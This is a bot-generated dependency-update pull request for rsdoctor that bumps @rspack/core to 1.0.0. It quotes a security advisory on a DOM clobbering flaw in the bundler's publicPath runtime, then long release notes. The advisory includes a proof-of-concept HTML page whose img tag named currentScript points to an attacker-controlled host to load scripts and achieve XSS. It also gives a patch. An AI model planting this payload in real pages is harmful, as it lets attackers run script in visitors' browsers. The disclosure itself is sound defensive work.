rsdoctor
rsdoctor copied to clipboard
chore(deps): update dependency @rspack/core to v1 [security]
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| @rspack/core (source) | 0.7.5 -> 1.0.0 |
GitHub Vulnerability Alerts
GHSA-84jw-g43v-8gjm
Hi, Rspack|Webpack developer team!
Summary
We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] scnps.co/papers/sp23_domclob.pdf [2] research.securitum.com/xss-in-amp4email-dom-clobbering
Gadgets found in Webpack | Rspack
We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript)
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to webpack_require.p. If additional scripts are loaded from the server, webpack_require.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.
PoC
Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.
Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:
// entry.js
import('./import1.js')
.then(module => {
module.hello();
})
.catch(err => {
console.error('Failed to load module', err);
});
// import1.js
export function hello () {
console.log('Hello');
}
The webpack.config.js is set up as follows:
const path = require('path');
module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: "auto", // Or leave this field not set
},
target: 'web',
mode: 'development',
};
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.
Patch
A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: google/closure-library@b312823/closure/goog/base.js#L174
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.
Release Notes
web-infra-dev/rspack (@rspack/core)
v1.0.0
See Announcing Rspack 1.0 for more details 🎉
What's Changed
Breaking Changes 🛠
- fix: compilation errors and warnings should be
RspackErrorby @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6900 - feat: deprecate JavaScript API by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6859
- feat: upgrade swc to latest version by @hardfist in https://github.com/web-infra-dev/rspack/pull/6887
- refactor: remove profile integration timestamp by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/6947
- feat: remove fields of
SwcJsMinimizerRspackPluginOptionsby @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6950 - fix!: align optimization.moduleIds and optimization.chunkIds when mode=none by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/6956
- feat!: remove output.amdContainer from config by @fi3ework in https://github.com/web-infra-dev/rspack/pull/6958
- feat!: revert default values of SwcJsMinimizer by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6970
- fix!: set default value of concatenateModules to true in production mode by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/6959
- refactor!: use swc_plugin_prefresh instead of builtin swc plugin by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7069
- feat!: detect conflicting values in
DefinePluginby @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7045 - feat!: remove
builtins.provideby @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7086 - feat!: use native resolver in loader by @bvanjoi in https://github.com/web-infra-dev/rspack/pull/4945
- fix!: correct names of hash fields in asset.info by @xc2 in https://github.com/web-infra-dev/rspack/pull/7220
- feat(deps)!: update
webpack-dev-serverto v5 and no longer lock the versions by @SoonIter in https://github.com/web-infra-dev/rspack/pull/7130 - fix!: remove @rspack/plugin-minify by @hardfist in https://github.com/web-infra-dev/rspack/pull/7307
- feat!(crates): upgrade swc_core to 0.99.5 by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7292
- feat!: improve HtmlRspackPlugin by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7577
- refactor!: disable css minify in html minify and remove SwcCssMinimizerRspackPlugin by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7547
- feat!: support
optimization.emitOnErrorsby @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7595 - feat(core)!: change dojang default escape|unescape to lodash.template syntax by @hardfist in https://github.com/web-infra-dev/rspack/pull/7661
Performance Improvements ⚡
- perf(rspack_plugin_javascript): use Rayon to parse modules parallelly by @fi3ework in https://github.com/web-infra-dev/rspack/pull/6864
- perf: make picking concatenable modules parallel by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7003
- perf: cache
compilation.entrypointsby @chenjiahan in https://github.com/web-infra-dev/rspack/pull/7059 - perf: enable "fat" LTO for production release by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/7088
- perf: remove unneeded string clone by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7104
- perf: reduce
get_schemeallocation by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7109 - perf: reduce alloc for bailout reason by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7118
- perf: stats rust side generate speed by @SyMind in https://github.com/web-infra-dev/rspack/pull/7126
- perf: reduce allocation for filename render by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7138
- perf: optimize JS communication with lazy getters by @SyMind in https://github.com/web-infra-dev/rspack/pull/7163
- perf: reduce allocation for
TraceableErrorby @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7192 - perf: reduce allocation for
Statsby @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7124 - perf: reduce allocation for parsing by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7219
- perf: use Set as Queue to solve the duplication by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7233
- perf: reduce allocation for
ModuleRulematching by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7249 - perf: reduce large pre-allocations for
JavascriptParser::newby @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7286 - perf: faster hasher for
Ukeys by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7287 - perf: a bunch of small improvement for ConcatenatedModule by @CPunisher in https://github.com/web-infra-dev/rspack/pull/7257
- perf: reduce allocation for adding dependencies by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7301
- perf: no need to require entire enhanced-resolve by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/7343
- perf(allocator): use mimalloc v2 for all by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7361
- perf: stats to js speed by @SyMind in https://github.com/web-infra-dev/rspack/pull/7344
- perf: rule matcher allocates only if
resource_pathis not a valid UTF-8 sequence by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7441 - perf: bump lightningcss to remove duplicated browerslist-rs by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/7461
- perf!: use browserslist-rs for lightningcss by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7544
- perf: warn case sensitive plugin by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7606
- perf: improve performance of eval-source-map by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7630
Exciting New Features 🎉
- feat(napi): support js chunk hash hook by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6853
- feat(napi): compilation chunk hash hook by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6858
- feat: root module is less prone to be wrapped in IIFE by @fi3ework in https://github.com/web-infra-dev/rspack/pull/6697
- feat: CopyRspackPlugin support function
tooption by @9aoy in https://github.com/web-infra-dev/rspack/pull/6866 - feat: remove styled-components, emotion and relay in builtin swc-loader by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6862
- feat: align split-chunks stats by @SyMind in https://github.com/web-infra-dev/rspack/pull/6847
- feat: generating provenance statements by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/6896
- feat: add
factoryMetatoJsModuleand optimizeInnerGraphPluginfor variable decl with iife by @CPunisher in https://github.com/web-infra-dev/rspack/pull/6888 - feat: simple custom worker syntax by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6899
- feat: add nwjs target to rspack config by @wxiaoyun in https://github.com/web-infra-dev/rspack/pull/6880
- feat: add build unique id for detecting by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/6865
- feat: encode filename in EvalDevToolModulePlugin by @SyMind in https://github.com/web-infra-dev/rspack/pull/6903
- feat: add stats.module.dependent by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/6913
- feat(cli): defineConfig support all types by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/6911
- feat: add nwjs external preset by @wxiaoyun in https://github.com/web-infra-dev/rspack/pull/6907
- feat: custom worker syntax for worklet by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6916
- feat: support deep AST parsing in debug by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6919
- feat: add idHints and hash of stats.chunk by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/6920
- feat: support nested webpack_exports by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6930
- feat: fully support EvalSourceMapDevToolPlugin by @SyMind in https://github.com/web-infra-dev/rspack/pull/6933
- feat: support use data uri with inline loaders by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6939
- feat(create-rspack): improve the templates by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/6940
- feat: add contextInfo on resolveData by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6948
- feat: align stats.assets[].info by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/6951
- feat: optimize filename function diagnostic by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6953
- feat(cli): add --profile to enable stats module profile by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/6957
- feat: stats origin moduleid by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/6955
- feat!: enable lightning css minimizer as default css minimizer by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6960
- feat: align stats chunk group by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/6961
- feat: enable lightning css minimizer error recovery by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6995
- feat: support nmf resolve hook by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6998
- feat: support splitChunkSizes type by @wxiaoyun in https://github.com/web-infra-dev/rspack/pull/6989
- feat: refresh overlay by @JiangWeixian in https://github.com/web-infra-dev/rspack/pull/6161
- feat: align webpack target and stats api by @SyMind in https://github.com/web-infra-dev/rspack/pull/7027
- feat: support fetch priority by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7029
- feat: support webpackInclude and webpackExclude by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7055
- feat(rspack_core): nmf resolve in schema hook by @ScriptedAlchemy in https://github.com/web-infra-dev/rspack/pull/7039
- feat: tree shakable output for module library by @fi3ework in https://github.com/web-infra-dev/rspack/pull/6877
- feat: downgrade container runtime to es2015 by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7085
- feat: to function can return Promise by @SyMind in https://github.com/web-infra-dev/rspack/pull/7068
- feat: support more features of
DefinePluginby @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7108 - feat: align part of StatsError by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7091
- feat(create-rspack): update template package name by @liangchaofei in https://github.com/web-infra-dev/rspack/pull/7092
- feat: reduce unnecessary exports runtime by @fi3ework in https://github.com/web-infra-dev/rspack/pull/7102
- feat: support type field for JsModule by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7093
- feat(stats): support
StatsError.moduleTraceby @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7123 - feat: add trace in hook macro by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7131
- feat: support
test,includeandexcludeoptions forSwcCssMinimizerRspackPluginby @simonxabris in https://github.com/web-infra-dev/rspack/pull/7111 - feat: override strict for javascript module by @colinaaa in https://github.com/web-infra-dev/rspack/pull/7127
- feat(stats): align stats factory by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7165
- feat: align part of compile time binary evaluation with webpack by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7187
- feat: align StatsAsset with webpack by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7190
- feat: add support for function types to
output.assetModuleFilenameby @xc2 in https://github.com/web-infra-dev/rspack/pull/7191 - feat: support webpackExports in magic comments by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7198
- feat: support output.charset and output.chunkLoadTimeout by @xc2 in https://github.com/web-infra-dev/rspack/pull/7189
- feat: support
__webpack_get_script_filename__by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7203 - feat: support webpack_exports_info by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7205
- feat: external callbacks receive contextInfo.issuer by @fi3ework in https://github.com/web-infra-dev/rspack/pull/7210
- feat: support destructuring of import.meta by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7229
- feat: support tree shaking with awaiting dynamic import by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7230
- feat: align
publicPathoptions with webpack by @xc2 in https://github.com/web-infra-dev/rspack/pull/7216 - feat: support lightningcss-loader by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7214
- feat: support
compilation.chunkGroupsandcompilation.namedChunkGroupsby @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7254 - feat(create-rspack): add vanilla templates by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/7295
- feat: support EntryPlugin filename function by @9aoy in https://github.com/web-infra-dev/rspack/pull/7297
- feat: support
test,includeandexcludeoptions forLightningCssMinimizerRspackPluginby @simonxabris in https://github.com/web-infra-dev/rspack/pull/7290 - feat: experiments layers by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7330
- feat: support import attributes by @hardfist in https://github.com/web-infra-dev/rspack/pull/7333
- feat(css-extract): avoid reloading all CSS when hot load by @shulaoda in https://github.com/web-infra-dev/rspack/pull/7314
- feat(modern-module): force concaten single module by @fi3ework in https://github.com/web-infra-dev/rspack/pull/7317
- feat: better diagnostic report for harmony dependency by @shulaoda in https://github.com/web-infra-dev/rspack/pull/7337
- feat: support
parser.importMetaandoutput.importMetaNameby @xc2 in https://github.com/web-infra-dev/rspack/pull/7231 - feat: better diagnostic report for harmony residual dependencies by @shulaoda in https://github.com/web-infra-dev/rspack/pull/7374
- feat: add memory cache of javascript plugins by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7389
- feat: add partial lazyOptions.backend options by @tatchi in https://github.com/web-infra-dev/rspack/pull/7273
- feat: support
compilation.chunkGroup[].isInitial()by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7406 - feat(diagnostic): improve diagnostics for swc wasm plugins by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7391
- feat: support compilation.entries by @SyMind in https://github.com/web-infra-dev/rspack/pull/7396
- feat: add
compiler.rspackby @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7434 - feat: support seal hook in js side by @SyMind in https://github.com/web-infra-dev/rspack/pull/7428
- feat(dev-server): export package version by @leimonio in https://github.com/web-infra-dev/rspack/pull/7305
- feat(stats): support
moduleReason.resolvedModuleby @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7467 - feat(diagnostic): prettier diagnostics of magic comments by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7472
- feat: support compilation.modules[i].blocks by @SyMind in https://github.com/web-infra-dev/rspack/pull/7460
- feat: port "module-import" external type by @fi3ework in https://github.com/web-infra-dev/rspack/pull/7479
- feat(node-stuff): implement
node-moduleshim by @fi3ework in https://github.com/web-infra-dev/rspack/pull/7465 - feat(stats): support
isOverSizeLimitin stats by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7483 - feat: splitChunks support usedExports by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7485
- feat: support
stats.chunkGroup[].childAssetsby @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7517 - feat: support module.size function in cacheGroups.[i].test by @SyMind in https://github.com/web-infra-dev/rspack/pull/7482
- feat: expose added/removed compilation.*_dependencies to js side by @jerrykingxyz in https://github.com/web-infra-dev/rspack/pull/7522
- feat: second param for loader hook by @SyMind in https://github.com/web-infra-dev/rspack/pull/7537
- feat(create-rspack): configure Lightning CSS targets by default by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/7579
- feat(core): don't inject bundlerInfo in library mode by @hardfist in https://github.com/web-infra-dev/rspack/pull/7567
- feat: extract-css-plugin supports layer by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7583
- feat(html): improve error handling by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7600
- feat: add cache for process runtime requirements by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7601
- feat(rspack_plugin_swc_js_minimizer): add minify option by @fi3ework in https://github.com/web-infra-dev/rspack/pull/7599
- feat(core): bump rspack_resolver 0.2.0 by @SoonIter in https://github.com/web-infra-dev/rspack/pull/7532
- feat(deps): bump @module-federation/runtime-tools 0.5.1 by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/7649
- feat(mf2): add shareStrategy by @2heal1 in https://github.com/web-infra-dev/rspack/pull/7651
- feat: add minify option to lightningcss-loader by @witsaint in https://github.com/web-infra-dev/rspack/pull/7653
- feat: cache unaffected for cgm code gen by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7646
- feat: apply affected modules to all cgm phase by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7684
- feat: apply affected modules for provide exports by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7703
- feat: support
"loose-unrecognized-keys"for config validation by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7705
Bug Fixes 🐞
- fix: ci wrong in github runner by @SyMind in https://github.com/web-infra-dev/rspack/pull/6852
- fix: export default when environment supports const by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6861
- fix: pre walk class blocks by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6867
- fix: should not eval exports in harmony by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6883
- fix: clean up dependencies and types for emotion / relay by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/6892
- fix: fix type of CssExtractRspackPluginOptions.{filename,chunkFilename} by @xc2 in https://github.com/web-infra-dev/rspack/pull/6882
- fix: missing bailout reason after introducing css extract plugin by @xc2 in https://github.com/web-infra-dev/rspack/pull/6875
- fix: sources in source map when use EvalSourceMapDevToolPlugin by @SyMind in https://github.com/web-infra-dev/rspack/pull/6901
- fix: CopyRspackPlugin transform option type by @9aoy in https://github.com/web-infra-dev/rspack/pull/6908
- fix!: align devtool default value by @SyMind in https://github.com/web-infra-dev/rspack/pull/6904
- fix: devtool plugin cache conflict !macos by @SyMind in https://github.com/web-infra-dev/rspack/pull/6912
- fix: fix release build by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6921
- fix: use entrypoint.options.runtime as key for chunk_graph.runtime_ids map if possible by @escaton in https://github.com/web-infra-dev/rspack/pull/6928
- fix!: change default value of css to false, align with webpack by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/6910
- fix: context passed into the
ModuleFactoryis not correct by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6946 - fix!: align webpack defaults by @SyMind in https://github.com/web-infra-dev/rspack/pull/6949
- fix: sources types by @SyMind in https://github.com/web-infra-dev/rspack/pull/6944
- fix: should not using single line match in data url regex by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/6952
- fix: fix duplicated harmony exports with named exports and re-exports star by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/6962
- fix(config): allow entry function to return promise by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/6975
- fix: use max_entrypoint_size in add_entrypoints_over_size_limit_warning by @escaton in https://github.com/web-infra-dev/rspack/pull/6923
- fix: experiments css exports convention tree shaking by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/6997
- fix: align source name conflict handling by @CPunisher in https://github.com/web-infra-dev/rspack/pull/6993
- fix: should not generate pure expression if test is failed by @h-a-n-a in https://github.com/web-infra-dev/rspack/pull/7014
- fix: use lite-tapable for enhanced-resolve by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7021
- fix: fix npm script in window by @daydayhappychao in https://github.com/web-infra-dev/rspack/pull/5164
- fix: pnpm install failed in ci by @SyMind in https://github.com/web-infra-dev/rspack/pull/7036
- fix: wrong cjs exports type caused unexpected exports presence by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7028
- fix: add warning for context module flag g and y by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7044
- fix: deduplicate extracted comments by @CPunisher in https://github.com/web-infra-dev/rspack/pull/7040
- fix: detect magic comments around expr by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7047
- fix: truncateArgs is not a function by @SyMind in https://github.com/web-infra-dev/rspack/pull/7052
- fix(core): migrate to rspack_resolver by @hardfist in https://github.com/web-infra-dev/rspack/pull/7063
- fix: zod is pre-bundled twice by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/7064
- fix: magic comment warning by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7056
- fix: revert detect statement level sequence expression by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7071
- fix: Add missing code for compatibility plugin by @CPunisher in https://github.com/web-infra-dev/rspack/pull/7079
- fix: panic when get max target in find target by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7082
- fix: support css nonce by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7101
- fix(mf): runtime should respect output environment by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7113
- fix: should not shake used json fields by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7119
- fix: remove all unused local variables by @chenjiahan in https://github.com/web-infra-dev/rspack/pull/7134
- fix: unset cjs exports type on access exports directly by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7143
- fix: avoid type error when skipLibCheck is not enabled by @CPunisher in https://github.com/web-infra-dev/rspack/pull/7155
- fix: align resolverFactory resolveOptions parameter with resolve options by @9aoy in https://github.com/web-infra-dev/rspack/pull/7154
- fix: invalid "javascript/auto" rule.type in getRawGeneratorOptions by @9aoy in https://github.com/web-infra-dev/rspack/pull/7164
- fix: should merge parser.javascript by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7152
- fix(cli): update peerDep of rspack-cli by @hardfist in https://github.com/web-infra-dev/rspack/pull/7173
- fix(release): alpha peerDependencies in @rspack/cli by @SoonIter in https://github.com/web-infra-dev/rspack/pull/7175
- fix: resource within scheme context by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7166
- fix: eval condition expr range by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7184
- fix: pattern with wildcard and globstar can't match correctly when using
glob_matchby @shulaoda in https://github.com/web-infra-dev/rspack/pull/6668 - fix: update resource in nmf resolve hook by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7200
- fix: panic in hmr cause by auxiliary_assets by @SyMind in https://github.com/web-infra-dev/rspack/pull/7197
- fix: panic in ImportMetaContextDependency when resolve failed by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7215
- fix: get correct parent module for root module of concatenated module by @ahabhgk in https://github.com/web-infra-dev/rspack/pull/7212
- fix: collect auxiliary assets from module by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7222
- fix: fix panic about runtime order by @xc2 in https://github.com/web-infra-dev/rspack/pull/7240
- fix: real content full hash replacement by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7271
- fix(fs): remove generic in
FileSystemtrait by @hardfist in https://github.com/web-infra-dev/rspack/pull/7275 - fix(panic): stable runtime key sequence by @LingyuCoder in https://github.com/web-infra-dev/rspack/pull/7272
- fix: corrects result for
truthy || anyandfalsy && anyby @xc2 in https://github.com/web-infra-dev/rspack/pull/7277 - fix: Update index.mdx by @lalala-h in https://github.com/web-infra-dev/rspack/pull/7283
- fix: runtime condition optimization with concate module by @JSerFeng in https://github.com/web-infra-dev/rspack/pull/7285
- fix: markdown format index.mdx by @lalala-h in https://github.com/web-infra-dev/rspack/pull/7310
- fix: add
awaitto async module export by @CPunisher in [https://github.com/web-infra-dev/rspack/pull/7308](https://redirect.github.com/web-
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
- [ ] If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
Deploy Preview for rsdoctor ready!
| Name | Link |
|---|---|
| Latest commit | 95a3fc03c65525716a66a291297371b77fd49608 |
| Latest deploy log | https://app.netlify.com/sites/rsdoctor/deploys/670f9575c854a200085b314a |
| Deploy Preview | https://deploy-preview-537--rsdoctor.netlify.app |
| Preview on mobile | Toggle QR Code...Use your smartphone camera to open QR code link. |
To edit notification comments on pull requests, go to your Netlify site configuration.
Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
⚠️ Warning: custom changes will be lost.